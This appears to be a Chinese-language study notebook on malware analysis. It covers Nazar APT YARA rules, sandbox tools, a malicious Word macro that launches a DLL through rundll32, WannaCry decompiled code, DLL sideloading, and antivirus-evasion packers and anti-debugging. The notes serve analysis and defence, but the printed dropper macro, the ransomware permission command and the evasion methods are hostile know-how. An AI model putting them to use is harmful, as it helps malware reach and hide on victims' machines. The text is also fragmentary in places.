>> 3)); v18 = v14 ^ v13 & 3; v11 = v23 + 1640531527; v19 = v16 ^ *(BYTE *)(a3 + 4 * v18); v20 = v12 ^ v23; v23 += 1640531527; v21 = *(BYTE *)a1 - ((v20 + v19) ^ v17); *(BYTE *)a1 = v21; v12 = v21; --v25; if ( !v25 ) break; v10 = v26; } } } else { v4 = 0; v24 = 52 / a2 + 6; v5 = *((BYTE *)a1 + a2 - 1); while ( 1 ) { v6 = 0; v22 = v4 - 71; v7 = ((unsigned int)(v4 - 1640531527) >> 2) & 3; if ( v3 != 1 ) { do { v8 = (((*((BYTE *)a1 + v6 + 1) ^ v22) + (v5 ^ *(BYTE *)(a3 + 4 * (v7 ^ v6 & 3)))) ^ ((4 * *((BYTE *)a1 + v6 + 1) ^ (v5 >> 5)) + (16 * v5 ^ (*((BYTE *)a1 + v6 + 1) >> 3)))) + *((BYTE *)a1 + v6); *((BYTE *)a1 + v6) = v8; v5 = v8; ++v6; } while ( v6 < a2 - 1 ); } v4 -= 1640531527; v9 = (((*(BYTE *)a1 ^ v22) + (v5 ^ *(BYTE *)(a3 + 4 * (v7 ^ v6 & 3)))) ^ ((4 * *(BYTE *)a1 ^ (v5 >> 5)) + (16 * v5 ^ (*(BYTE *)a1 >> 3)))) + *((BYTE *)a1 + a2 - 1); *((BYTE *)a1 + a2 - 1) = v9; v5 = v9; --v24; if ( !v24 ) break; v3 = a2; } } }
加载 DLL
通过更改代码顺序和 nop 实现免杀
分析 dll
可以直接从 GetDiskFreeSpaceExA / Sleep 下断回溯到 dll 中
# 样本规则库编写
yarn 规则编写
https://www.cnblogs.com/SunsetR/p/12650325.html
项目:https://github.com/virustotal/yara
releases:https://github.com/VirusTotal/yara/releases
Yara 规则语法类似于 C 语言,易于编写和理解,每个规则都以关键字 “rule” 开头,后面跟着一个规则标识符。
标识符必须遵循与 C 语言相同的词法约定,它们可以包含任何字母数字和下划线,但第一个字符不能是数字。
规则标识符区分大小写,并且不能超过 128 个字符。以下关键字是保留的,不能用作标识:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 rule apt_ZZ_SIG37_NAZAR_GpUpdatesExe { meta: desc = "SIG37 GpUpdates dropper, Chilkat Zip2Secure" author = "JAG-S" hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6" strings: $open = "open" ascii wide fullword $regsrv = "regsvr32.exe" ascii wide $filename1 = "Godown.dll -s" ascii wide $filename2 = "ViewScreen.dll -s" ascii wide $filename3 = "Filesystem.dll -s" ascii wide condition: uint16(0) == 0x5a4d and ($open and $regsrv and (1 of ($filename*))) }
# 云沙盘 API 使用方法
API 文档 (threatbook.com)
apikey 是 stringAPI 请求的身份识别标识。2resource 是 stringIP 地址,目前支持单个查询。3exclude 可选 string 可根据实际使用场景排除以下参数,返回结果信息,多个参数请以逗号分隔(注意不要有空格)。
asn:asn 信息。
ports:端口信息。
cas:SSL 证书等信息。
rdns_list:rdns 记录信息。
intelligences:威胁情报。
judgments:从威胁情报中分析,综合判定的威胁类型。
tags_classes:相关攻击团伙或安全事件信息标签等。
samples:相关样本。
update_time:情报最近更新时间。
sum_cur_domains:当前指向域名的数量。
scene:应用场景。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import os import requests url = 'https://api.threatbook.cn/v3/file/upload'; fields = { 'apikey': '请替换apikey', 'sandbox_type': 'win7_sp1_enx86_office2013', 'run_time': 60 } file_dir = '请替换文件地址' file_name = 'myfile.exe' files = { 'file' : (file_name, open(os.path.join(file_dir, file_name), 'rb')) } response = requests.post(url, data=fields, files=files) print(response.json())
# APT 攻击链恶意样本分析
APT(AdvancedPersistent Threat)高级持续性威胁。是指组织 (特别是政府) 或者小团体利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。APT 是黑客以窃取核心资料为目的,针对客户所发动的网络攻击和侵袭行为。
替换服务 svchost.exe 替换
APT 的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据,此类攻击行为是传统安全检测系统无法有效检测发现,前沿防御方法是利用非商业化虚拟机分析技术,对各种邮件附件、文件进行深度的动态行为分析,发现利用系统漏洞等高级技术专门构造的恶意文件,从而发现和确认 APT 攻击行为。由于 APT 的特性,导致难发现、潜在威胁大,一旦被攻击将导致企业、政府、医疗组织等等的大量数据被窃取,公司重要财务、机密被盗窃。
三年前左右,在 2017 年 4 月 14 日,一个神秘的黑客组织影子经纪人(Shadow Brokers)在互联网上公布了一系列的黑客工具和漏洞,这些曾经被 NSA 利用的工具 / 漏洞一定程度上给互联网带来了大地震。
这批泄露中涵盖多种黑客工具和不同的漏洞,例如 Windows 的 “永恒之蓝” 漏洞,就是造成 WannaCry 以及后来 NotPetya 勒索软件席卷全球的最大元凶。除此之外,研究人员还发现了更多未知内容,尝试解读出其中隐藏的各种秘密。
# 关于 Sigs.py 文件
自从 3 年前影子经纪人泄露这批黑客工具以来,全球各地的安全研究人员就在积极研究,尽管可能出于不同目的,但总是想从中挖出点有用的信息来,整出一些大新闻。除了声名远播的 “永恒之蓝” 漏洞,其中还有一个名为 sigs.py 的文件,让很多研究人员大为痴迷。
Sigs.py 这个文件据说是作为一个精简版的恶意软件扫描器,被 NSA 部署在目标系统中,通过扫描目标系统是否存在一些行为特征,从而判断目标系统中是否还有其他 APT 存在。
这个文件中包含 44 个特征指纹(Signatures)用来检测其他 APT 组织的行为,编号为 1-45 号,其中不包括第 42 号。如果研究人员的推测是正确的,那么这个文件就表明 NSA 掌握至少 44 个 APT 组织的恶意行为特征,这远超目前公开的 APT 数量。
# Nazar 样本分析
rule apt_ZZ_SIG37_NAZAR_GpUpdatesExe
{
meta:
desc = "SIG37 GpUpdates dropper, Chilkat Zip2Secure"
author = "JAG-S"
hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
strings:
$open = "open" ascii wide fullword
$regsrv = "regsvr32.exe" ascii wide
$filename1 = "Godown.dll -s" ascii wide
$filename2 = "ViewScreen.dll -s" ascii wide
$filename3 = "Filesystem.dll -s" ascii wide
condition:
uint16(0) == 0x5a4d
and
($open and $regsrv and (1 of ($filename*)))
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Nazar APT样本分析之二 2. ``` rule apt_ZZ_SIG37_NAZAR_GoDownDll { meta: desc = "SIG37 Dropped TypeLibrary" author = "JAG-S" hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec" //?? strings: $godown1 = /Godown [0-9.]{1,4} Type LibraryWWW/ ascii wide $godown2 = "Godown.Shutdown.1" ascii wide $godown3 = "qGODOWNLibWWW" ascii wide $guid1 = "{772BA12D-8A62-4DD3-B3E8-92DA702E6F3D}" ascii wide //TypeLib reg $guid2 = "{B64E94AF-D56B-48B4-B178-AF0723E72AB5}" ascii wide //TypeLib reg $guid3 = "{DBCB4B31-21B8-4A0F-BC69-0C3CE3B66D00}" ascii wide $shutdown1 = "aShutdownd" ascii wide $shutdown2 = "IShutdownWWWd" ascii wide $shutdown3 = "IShutdown InterfaceWWW" ascii wide $shutdown4 = "method PowerOffWWW" ascii wide $shutdown5 = "property TimeoutWW" ascii wide condition: uint16(0) == 0x5a4d and ( any of ($godown*) or any of ($guid*) or 2 of ($shutdown*) ) }
rule apt_ZZ_SIG37_NAZAR_Kzher_pdb
{
meta:
desc = "GoDown PDB Path"
author = "JAG-S"
hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
strings:
$pdb_spec = "C:\\khzer\\DLLs\\DLL's Source\\" ascii wide
$pdb_gen = "C:\\khzer\\" ascii wide
condition:
uint16(0) == 0x5a4d
and
any of them
}
rule apt_ZZ_SIG37_NAZAR_GpUpdates_Distribute
{
meta:
desc = "SIG37 GpUpdates unpacked distributor: Distribute.exe"
author = "JAG-S"
hash = "6b8ea9a156d495ec089710710ce3f4b1e19251c1d0e5b2c21bbeeab05e7b331f"
parent = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
strings:
$uniq_filename1 = "\\godown.dll" ascii wide
$common_filename1 = "\\ViewScreen.dll" ascii wide
$common_filename2 = "\\filesystem.dll" ascii wide
$common_filename3 = "\\dllcache\\svchost.exe" ascii wide
$common_filename4 = "\\lame_enc.dll" ascii wide
$common_filename5 = "\\hodll.dll" ascii wide
$service1 = "Provides basic host functionality" ascii wide
$service2 = "EYService" ascii wide
$service3 = "Windows Host Service" ascii wide
condition:
uint16(0) == 0x5a4d
and
(
any of ($uniq_filename*)
or
all of ($common_filename*)
or
(all of ($service*) and 3 of ($common_filename*))
)
}
1 2 3 4 5 6 7 8 9 10 ### APT攻击检测与防御
1、 URL 异常检测,深度分析 URL 内 User-Agent 字段以及 HTTP 状态码来判断网站是否异常,以及网站中是否有恶意文件的下载链接,
{host,user-agent}
2. Email 异常检测,通过对邮件的包头,发件人和邮件内附件或者链接检查,分析是否有恶意软件或链接存在。
2、沙箱检测技术,模拟 Linux、Windows,Android 环境,将可以文件放在沙箱离模拟运行,通过自动观测、自动分析、自动警告发现未知威胁。沙箱同时又叫做沙盘,是一种 APT 攻击 核心防御技术,该技术在应用时能够创造一种 模拟化的环境来隔离本地系统中的注册表、内存以及对象,而实施系统访问、文件观察等可以通过虚拟环境来实施操作,同时沙箱能够利用定向技术在特定文件夹当中定向进行文件的 修改和生成,防止出现修改核心数据和真实注册表的现象,一旦系统受到 APT 攻击,实现的虚拟环境能够对特征码实施观察和分析,从而将攻击进行有效的防御。在实际应用过程中, 沙箱技术能够充分发挥防御作用,但是由于其消耗本地资料过多,导致工作处理过程周期过长,对此要进一步加强其应用效率的提升,从而有效区分和处理软件与文件,有效提升自身的应用效率,充分防御来自于外界的 APT 攻击。
3、信誉技术,安全信誉主要是评估互联网资源和有关服务主体在安全性能方面的指数和表现,而信誉技术在应用过程中能够以一种辅助的方式来检测 APT 攻击,并针对性建设信誉数据库,其中包括威胁情报库、僵尸网络地址库、文件 MD5 码库以及 WEB URL 信誉库,能够作为辅助支撑技术帮助系统提升检测 APT 攻击, 比如常见的木马病毒和新型病毒等,一旦遇到不良信誉资源能够利用网络安全设备进行过滤和阻断。在此过程中,信誉库能够充分发挥自 身优势,有效保护系统相关数据和信息,提升 安全产品的安全防护指数,依照实际情况来分析,信誉技术已经广泛应用到网络类安全产品当中,并且通过安全信誉评估策略服务和信誉过滤器等功能为信息系统的安全提供有效保 障。
4、异常流量分析技术,异常流量分析技术在应用过程中主要以一种流量检测方式和分析方式对有关流量信息实施提取,并且针对其中的带宽占用、CPU/ RAM、物理路径、IP 路由、标志位、端口、 协议、帧长、帧数等实施有效的监视和检测,并且融入节点、拓扑和时间等分析手段来统计 流量异常、流量行为等可能出现的异常信息, 从而依照分析的结果和数据来对可能出现的 0 DAY 漏洞攻击进行准确识别。同时,异常流量分析技术进一步融入了机器学习技术和统计学技术,能够以科学化、合理化的方式来对模型实施建立。与传统的网络防御技术相比,异常流量分析技术能够充分发挥自身优势,以一 种数据采集机制来保护原有系统,并且对出现的异常行为进行有效的追踪,分析历史流量数据,从而有效确定异常流量点,最终起到防御 APT 攻击的目的。
5、大数据分析技术在防御 APT 攻击时,要充分发挥大数据分析技术的优势,针对网络系统中出现的日志 数据和 SOC 安全管理平台中出现的日志数据, 利用大数据分析技术能够实施有效的分析和研 究,并通过态势分析、数据挖掘、数据统计技术,对大量历史数据进行分析,获取其中存在的 APT 攻击痕迹,从而以一种弥补方式来对 传统安全防御技术实施加强。同时,大数据分析技术要想发挥自身作用,需要提升自身数据分析和数据采集能力,并积极融合全自动相应系统,从而快速监控不同区域中的数据信息, 改变出现的信息孤岛所导致的调查分析问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 ### 配置Buster Sandbox自动化沙盘检测方式 1. 1.win XP虚拟机一台(win 7也可) 2.sandboxie 沙盒计算机程序 Sandboxie是一个沙盒计算机程序,由Ronen Tzur开发,可以在32位及64位的、基于Windows NT的系统上运行(如Windows XP、Windows 7等)。Sandboxie会在系统中虚拟出一块与系统完全隔离的空间,称之为沙箱环境,在这个沙盘环境内,运行的一切程序都不会对原操作系统产生影响。Sandboxie的本意是提供安全的Web浏览以及增强隐私,但是它的许多特性使用得它非常适合进行恶意软件分析。 3.BSA(Buster Sandbox Analysis) BSA是一款监控沙箱内进程行为的工具。通过分析程序行为对系统环境造成的影响,确定程序是否为恶意软件。通过对BSA和Sandboxie的配置,可以监控程序对文件系统、注册表、端口甚至API调用序列等的操作。 4.winpcap Winpcap(windows packet capture)是Windows平台下一个免费、公共的网络访问系统,它为win32应用程序提供访问网络底层的能力,Winpcap不阻塞、过滤或控制其他应用程序数据报的发收,它仅仅只是监听共享网络上传送的数据报。 ### APT分析-在线云沙盘分析系统 1. 火眼(https://fireeye.ijinshan.com) 火眼是国内的一个在线文件分析站点,由金山公司开发。在这里,你可以提交自己的文件进行分析,目前支持30MB以下的APK,EXE,DLL,BAT,HTML,JS,VBS,MSI和特定格式的压缩包。对于新提交的文件,会首先获取文件的MD5,sha-1签名,与已检测的文件数据库中的数据进行对比,如果已经存在,则会提示选择是重新分析还是查看最近一次分析结果。 另外,还可以查看已存在的其它文件的分析报告。 报告中的信息包括文件的基本信息(文件名,大小,类型,时间,MD5,SHA-1),点评,危险行为,其它行为(文件操作,注册表操作,进程操作,网络访问,还有运行截图)。 这貌似是国内唯一的一个对外公开的在线沙盒,最重要的是免费。只要回答注册然后回答几个问题就可以使用。而且还是中文的看着舒服。而且还有关键行为的时间轴报告,看起来比较简单明了。总体来说,就是简单方便,但是专业性可能略显不足。 如果再说一个优点的话,就是不用翻墙 再来介绍几个国外的。 2 VIRUSTOTAL(www.virustotal.com) VirusTotal是一个免费的病毒,蠕虫,木马和各种恶意软件分析服务。可以针对可疑文件和网址进行快速检测。 最大文件大小为64M。文件上传后会先计算哈希值,与已检测的文件数据库中的数据进行对比,如果已经存在,则会提示选择是重新分析还是查看最近一次分析结果。 分析报告中,包括病毒检出率(51个杀毒引擎查杀)文件详细信息(文件头,字符串,环境变量,运行时库),文件操作,网络操作(HTTP,DNS,TCP,UDP),进程操作,互斥体,HOOK,窗口操作. 不得不承认,VirusTotal做的比国内的火眼专业很多,各种信息记录的更加详尽,不仅记录了各种操作,并且记载了他们的执行是否成功,并且对各种信息进行了更加细致的分类。你几乎可以找到所有你想要找的除了源代码之外的文件信息和行为记录。而且速度在国外网站中算是比较快的了,不过还是需要用VPN。再有就是只能上传自己的文件,或者根据MD5,URL,IP等信息来查询报告,而没有一个索引来查看所有报告。这个其实也算不上缺点,只能说是小小的不足。总归瑕不掩瑜,这个网站绝对称得上专业两个字。 3 ThreatExpert(http://www.threatexpert.com) ThreatExpert is an advanced automated threat analysis system designed to analyze and report the behavior of computer viruses, worms, trojans, adware, spyware, and other security-related risks in a fully automated mode.In only a few minutes ThreatExpert can process a sample and generate a highly detailed threat report with the level of technical detail that matches or exceeds antivirus industry standards such as those normally found in online virus encyclopedias. 4 Anubis(http://anubis.iseclab.org) Anubis(阿努比斯)也是一个恶意软件分析的服务器,可以提交URL和文件进行分析,分析报告可以选择HTML,XML,PDF,TXT,PDF五种格式,报告中包含了测试文件及其释放文件的文件操作,网络操作,注册表操作等信息。并且对这些操作进行了细分。 5 joe(http://www.joesecurity.org) 这个貌似没有找到提交文件的地方,但是上面有一些已经存在的报告。报告的信息特别全。与之对应的,打开的速度就稍微慢了一些。但是内容真的是特别的多,只有你想不到,没有你找不到。不过看着最新的一个样本是两个月之前的。而且貌似是两个月左右更新一次。作为学习之用应该是非常不错的。 ### APT分析-开源沙箱分析系统 在工作中很多时候需要自己对一些可以程序,可执行文件进行检测,当然我们可以通过VT,微步,等一些开源的平台进行检测。现在我们通过自己搭建的开源的沙箱进行检测。所谓沙箱,是分离运行程序的一种安全机制。他通常用于执行未经测试的代码,或来自第三方、供应商、不可信网站等的不可信程序。我们可以通过沙箱在一个隔离的环境运行,不可信程序,并且获取他做的信息。 恶意软件分析一般分为两种:静态分析和动态分析。沙箱是动态分析的应用,它不静态分析二进制文件,实时执行并且监控恶意软件。这可以帮助安全分析人员获取不可信软件的细节,比如网络行为等,静态和动态分析不可信程序。生成的结果可以更快帮助我们对恶意软件进行分析。 1.2 关于Cuckoo Cuckoo是一个开源的自动恶意软件分析系统,我们可以用它来自动运行和分析文件,并可以获取到全面的分析结果, Cuckoo 可以获取以下类型结果: 1.追踪由恶意软件产生的所有进程执行的调用 2.恶意软件在执行中增删改查情况 3.恶意软件进程的内存输出 4.PCAP包格式的网络流量跟踪 5.在执行软件关键截图 6.机器全部内存输出 1.3 Cuckoo模块和可分析样本类型: • Generic Windows executables • DLL files • PDF documents • Microsoft Office documents • URLs and HTML files • PHP scripts • CPL files • Visual Basic (VB) scripts • ZIP files • Java JAR • Python files • Almost anything else
git clone https://github.com/blacktop/docker-cuckoo
cd docker-cuckoo
docker-compose up -d
For docker-machine
curl $(docker-machine ip):8000/cuckoo/status
For Docker for Mac
curl localhost:8000/cuckoo/status
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ### APT-Safebits 恶意样本之调试方法 OD附加winword进程 ### APT-Safebits 恶意样本之宏命令 office中vba命令 Microsoft 对象,this document定义了函数
Private Sub Document_Open()
Call stetptwwo
End Sub
Sub stetptwwo()
Dim yy As String
Dim vxcv As Integer
Dim hugs As Integer
hugs = chek
Dim ede As String
If hugs = 1 Then
Else
Dim edef As String
Call hhhhh
Dim pushstr As String
pushstr = “\W” & “0r” & “d.d”
Dim geto As String
Dim pus As String
pus = “xe”
geto = “nd”
Dim ter As String
Dim iof As String
iof = “3”
ter = “e”
Dim jsd As String
jsd = geto
Dim hh As String
hh = iof & “2.” & ter & pus
Dim fps As String
fps = “r”
Dim gpsa As String
gpsa = “,Unin”
Dim fa As String
fa = fps & “u” & jsd & “ll” & hh
Dim glops As String
glops = repid
Dim regsrva As New Shell32.Shell
yy = glops & yy & pushstr & “ll” & gpsa & “stallFont”
Call regsrva.ShellExecute(fa, yy, " ", SW_SHOWNORMAL)
End If
End Sub
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 doc后缀可以改为zip解压后就可以解析其中的内容 ### dump内存 使用hxd 从指定偏移dump对应的字节数,复制到新的文件 ## 勒索病毒 勒索病毒文件一旦进入本地,就会自动运行,同时删除勒索软件样本,以躲避查杀和分析。接下来,勒索病毒利用本地的互联网访问权限连接至黑客的C&C服务器,进而上传本机信息并下载加密私钥与公钥,利用私钥和公钥对文件进行加密。除了病毒开发者本人,其他人是几乎不可能解密。加密完成后,还会修改壁纸,在桌面等明显位置生成勒索提示文件,指导用户去缴纳赎金。且变种类型非常快,对常规的杀毒软件都具有免疫性。攻击的样本以exe、js、wsf、vbe等类型为主,对常规依靠特征检测的安全产品是一个极大的挑战。 1.程序获取当前路径  执行结束后pathbuffer中  40f8ac是全局变量,将其先入栈,后面的call会对他赋值  call 401225 中,先获取了计算机名字和长度,接着使用加密算法计算出了一个字符串:   取出路径的最后一段,以\分割,最后获取的为32131231.exe  写注册表,作为是否重复感染的依据 
signed int __cdecl sub_4010FD(int a1)
{
size_t v1; // eax@7
int v2; // esi@7
LSTATUS v3; // eax@8
CHAR Buffer; // [sp+8h] [bp-2DCh]@1
char v6; // [sp+9h] [bp-2DBh]@1
__int16 v7; // [sp+20Dh] [bp-D7h]@1
char v8; // [sp+20Fh] [bp-D5h]@1
wchar_t Dest; // [sp+210h] [bp-D4h]@1
char v10; // [sp+224h] [bp-C0h]@1
DWORD cbData; // [sp+2D8h] [bp-Ch]@8
int v12; // [sp+2DCh] [bp-8h]@1
HKEY phkResult; // [sp+2E0h] [bp-4h]@1
qmemcpy(&Dest, aSoftware, 0x14u);
Buffer = 0;
phkResult = 0;
memset(&v10, 0, 0xB4u);
memset(&v6, 0, 0x204u);
v7 = 0;
v8 = 0;
wcscat(&Dest, Source);
v12 = 0;
while ( 1 )
{
if ( v12 )
RegCreateKeyW(HKEY_CURRENT_USER, &Dest, &phkResult);
else
RegCreateKeyW(HKEY_LOCAL_MACHINE, &Dest, &phkResult);
if ( phkResult )
{
if ( a1 )
{
GetCurrentDirectoryA(0x207u, &Buffer);
v1 = strlen(&Buffer);
v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&Buffer, v1 + 1) == 0;
}
else
{
cbData = 519;
v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&Buffer, &cbData);
v2 = v3 == 0;
if ( !v3 )
SetCurrentDirectoryA(&Buffer);
}
RegCloseKey(phkResult);
if ( v2 )
break;
}
++v12;
if ( v12 >= 2 )
return 0;
}
return 1;
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  生成压缩包  位置为4100f0,大小为349635   存储了三个不同的钱包 
int sub_401E9E()
{
int result; // eax@1
int v1; // eax@2
char DstBuf; // [sp+0h] [bp-318h]@1
char Dest; // [sp+B2h] [bp-266h]@2
char *Source; // [sp+30Ch] [bp-Ch]@1
int v5; // [sp+310h] [bp-8h]@1
int v6; // [sp+314h] [bp-4h]@1
Source = a13am4vw2dhxygx;
v5 = (int)a12t9ydpgwuez9n;
v6 = (int)a115p7ummngoj1p;
result = sub_401000(&DstBuf, 1);
if ( result )
{
v1 = rand();
strcpy(&Dest, (&Source)[4 * (v1 % 3)]);
result = sub_401000(&DstBuf, 0);
}
return result;
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 创建隐藏文件夹    给文件夹权限,给了w everyone特殊权限 004020E8 |. 68 FCF44000 push 0040F4FC ; ASCII "icacls . /grant Everyone:F /T /C /Q"  加载dll敏感函数来免杀  调用Microsoft标准加密函数  - Wannacry功能分析之(启动进程创建隐藏窗口) - Wannacry功能分析之(创建持久化启动) 1. ``` reg_key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tymaupesi628 reg_value: "C:\Users\vbccsb\AppData\Local\Temp\tasksche.exe"
Wannacry 功能分析之(加密文件后缀类型)
Wannacry 功能分析之(加密文件内容算法)
Wannacry 功能分析之(DllLoader)
00402136 |. FF75 FC push [local.1]
00402139 |. 50 push eax
0040213A |. E8 7E000000 call 004021BD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33  3. ``` 004023EF |> \56 push esi 004023F0 |. E8 EA030000 call 004027DF 004023F5 |. 85C0 test eax,eax 004023F7 |. 59 pop ecx 004023F8 |. 74 3C je short 00402436 004023FA |. 56 push esi 004023FB |. E8 4B010000 call 0040254B 00402400 |. 85C0 test eax,eax 00402402 |. 59 pop ecx 00402403 |. 74 31 je short 00402436 00402405 |. 56 push esi 00402406 |. E8 12030000 call 0040271D 0040240B |. 85C0 test eax,eax 0040240D |. 59 pop ecx 0040240E |. 74 26 je short 00402436 00402410 |. 8B06 mov eax,dword ptr ds:[esi] 00402412 |. 33C9 xor ecx,ecx 00402414 |. 8B40 28 mov eax,dword ptr ds:[eax+0x28] 00402417 |. 3BC1 cmp eax,ecx 00402419 |. 74 32 je short 0040244D 0040241B |. 394E 14 cmp dword ptr ds:[esi+0x14],ecx 0040241E |. 74 26 je short 00402446 00402420 |. 51 push ecx 00402421 |. 57 push edi 00402422 |. 03C3 add eax,ebx 00402424 |. 53 push ebx 00402425 |. FFD0 call eax --------------------jmp Loader

# 白 + 黑样本快速分析
利用了大公司代码的编写缺陷,比如某个应用 exe 程序,自带数字签名,他运行的时候会动态加载其目录下的 dll 文件(loadlibrary),getprocaddress 使用 dll 的扩展函数,但是 loadlibrary 的 dll 并未作验证,这样我们只要将我们编写的同名木马 dll 放到他的目录下,运行这个带有签名的 exe,让我们的木马 dll 加载到一个绝对可信空间,杀毒软件碍于性能,检验粒度不可能精确到 dll 模块,所以 exe 的绝对可信会导致杀软放行一切行为,实施攻击。
众所周知,数字签名是保证信息传输完整性、真实性、安全性及身份认证的一个验证方式,被广泛应用银行、电子政务及电子协议等互联网领域,但近年来却不断被不法分子所利用,成为不法分子谋取私利的工具。
进程调用链,通过遍历 eprocess,遍历到进程和他的父进程
动态加载自身 dll,需要判断路径真实有效,数字签名是否合法
kernel32.GetNoduleFileHaneA
user32.GetForegroundwindow
user32.GetInputstate
# 加壳
软件加壳的目的是为了防止外部程序对软件进行静态反汇编分析或者动态分析达到对软件保护的目的。壳子的种类很多,大体种类分 2 种二进制壳和指令壳,二进制壳不改变硬编码的含义,指令壳则改变了原有硬编码的含义。 本篇文章介绍二进制壳的加壳的一种思路及实现。
加过壳的程序在 IDA 中 Function name 都是空的,IDA 无法正常识别
加壳后节的区段和偏移大小也不一样
PEID 查壳原理
加过壳的程序入口变为壳的代码
添加壳区段,隐藏原来的区段。先跑壳代码,在执行原来的代码
# 恶意软件免杀壳
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 经过10多年的发展,反病毒引擎已经在误报&查毒粒度之间取了一个比较好的平衡,常规的免杀技术(特征码免杀、源码免杀)处理成本越来越高。不过反病毒引擎天然存在某些"缺陷",例如正常软件会加商业保护壳,导致会受到商业壳的制约,无法将所有壳标记为病毒。 由于内存执行"被加壳程序"是壳的基础行为,而内存执行PE这个"壳的基础行为"可以很好的将"被加壳程序"的特征码隐藏起来。因此编写一款无特征码壳是一个非常好的反杀软查杀(特征码、启发式)的方案。 模拟正常PE程序结构, 模拟正常PE程序结构, 模拟正常PE程序结构 特征代码最小化,并且被查杀后可通过混淆引擎来混淆壳代码,达到快速变种、快速免杀的效果。 笔者不建议进行任何可能提高程序熵值的操作,尽可能将壳程序的PE格式、数据结构、代码执行顺序与正常程序保持一致。 这个免杀壳的代码主要分为三部分: 加壳器:这部分代码用来将被加壳程序、傀儡程序、壳代码拼装处理,组合生成一个免杀的PE文件。 CodeLoader(壳代码):这部分代码用来反杀毒引擎、内存加载执行PeLoader,需要编译为Shellcode代码。 PeLoader(壳代码):这部分代码用来内存执行Shelled(被加壳程序),需要编译为Shellcode代码。
特征码免杀法:最基本的免杀技术
通用免杀法:替换资源、增加签名、加冷门壳、加多重壳
源码免杀法:当前主流免杀技术,需要有源代码才能操作。通过修改病毒的特征字符串、动态 API 调用、修改编译环境、套程序外壳 (MFC、SDK、QT) 等
输入表 (IAT) 免杀法:启发式引擎会扫描目标程序的输入表中是否含指定的函数特征序列 (函数调用特征码)。
代码混淆、加花:通过对特征代码进行膨胀、乱序来干扰启发式引擎的分析,以及提升人工提取特征码的难度。
入口点模糊技术:参考 "主要技术" 目录下的 "入口点模糊技术"
内存加载执行 PE 文件:壳的基本技术,论坛资料很多。
# 反调试原理
使用 Windows API
使用 Windows API 函数检测调试器是否存在是最简单的反调试技术。Windows 操作系统中提供了这样一些 API,应用程序可以通过调用这些 API,来检测自己是否正在被调试。这些 API 中有些是专门用来检测调试器的存在的,而另外一些 API 是出于其他目的而设计的,但也可以被改造用来探测调试器的存在。其中很小部分 API 函数没有在微软官方文档显示。通常,防止恶意代码使用 API 进行反调试的最简单的办法是在恶意代码运行期间修改恶意代码,使其不能调用探测调试器的 API 函数,或者修改这些 API 函数的返回值,确保恶意代码执行合适的路径。与这些方法相比,较复杂的做法是挂钩这些函数,如使用 rootkit 技术。
1.1IsDebuggerPresent
IsDebuggerPresent 查询进程环境块 (PEB) 中的 IsDebugged 标志。如果进程没有运行在调试器环境中,函数返回 0;如果调试附加了进程,函数返回一个非零值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 1.1IsDebuggerPresent IsDebuggerPresent查询进程环境块(PEB)中的IsDebugged标志。如果进程没有运行在调试器环境中,函数返回0;如果调试附加了进程,函数返回一个非零值。 BOOL CheckDebug() { return IsDebuggerPresent(); } 1.2CheckRemoteDebuggerPresent CheckRemoteDebuggerPresent同IsDebuggerPresent几乎一致。它不仅可以探测系统其他进程是否被调试,通过传递自身进程句柄还可以探测自身是否被调试。 BOOL CheckDebug() { BOOL ret; CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret); return ret; } 1.3NtQueryInformationProcess 